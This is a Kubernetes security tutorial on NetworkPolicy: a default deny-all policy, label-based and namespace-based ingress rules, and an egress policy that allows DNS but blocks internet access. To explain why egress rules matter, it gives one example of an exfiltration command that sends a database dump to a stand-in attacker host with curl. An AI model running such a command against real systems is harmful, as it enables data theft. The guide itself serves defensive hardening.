The “Deny-All” Default Policy
(Zero Trust Security)
The #1 Best Practice in DevSecOps is Zero Trust. By default, trust nobody. When you create a new Namespace, the very first thing you should do is drop a “Deny-All” policy into it. This locks every single door.
The Rule: If a Pod has no policy selecting it, it accepts all traffic. If a Pod is selected by a policy, it rejects everything except what the policy explicitly allows.
The Default Deny-All YAML:
This policy selects all pods in a namespace and blocks both incoming and outgoing traffic.
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-all
namespace: prod-env
spec:
podSelector: {} # Empty selector means "Select ALL Pods"
policyTypes:
- Ingress # Block all incoming
- Egress # Block all outgoing
Once you apply this, your entire prod-env namespace goes dark. Nothing can talk to anything. Now, we selectively open doors.
Allowing Specific Traffic
(Opening the Right Doors)
Let’s say we have a backend Pod. We want to allow traffic to it, but ONLY if the traffic comes from the frontend Pod.
Allowing traffic based on Pod Labels:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-frontend-to-backend
namespace: prod-env
spec:
podSelector:
matchLabels:
app: backend # This policy applies TO the backend pods
policyTypes:
- Ingress
ingress:
- from:
- podSelector:
matchLabels:
app: frontend # ONLY allow traffic FROM the frontend pods
ports:
- protocol: TCP
port: 8080 # ONLY on port 8080
Allowing traffic based on Namespaces:
Sometimes you want to allow a monitoring tool (like Prometheus) located in a different namespace to read metrics from your app.
ingress:
- from:
- namespaceSelector:
matchLabels:
team: monitoring # Allow traffic from any pod in the 'monitoring' namespace
Egress Policies
(Blocking Internet Access)
Most people only secure incoming traffic (Ingress). But Egress (Outbound) security is critical to stop Data Exfiltration.
If a hacker compromises your Database Pod, their next step is to run a command like curl hacker-server.com --data "db_dump". Or, they might try to download a crypto-miner script from the internet.
If your Database Pod does not need the internet, block it!
Example: Allow DNS, but Block the Internet
This policy allows a Pod to query DNS (port 53) so it can find other internal services, but blocks it from talking to any external IP address.
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: db-egress-policy
namespace: prod-env
spec:
podSelector:
matchLabels:
app: database
policyTypes:
- Egress
egress:
- to: # Allow DNS lookups internally
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system
podSelector:
matchLabels:
k8s-app: kube-dns
ports:
- protocol: UDP
port: 53
If the hacker tries to curl google.com, the connection will simply timeout. You have trapped them!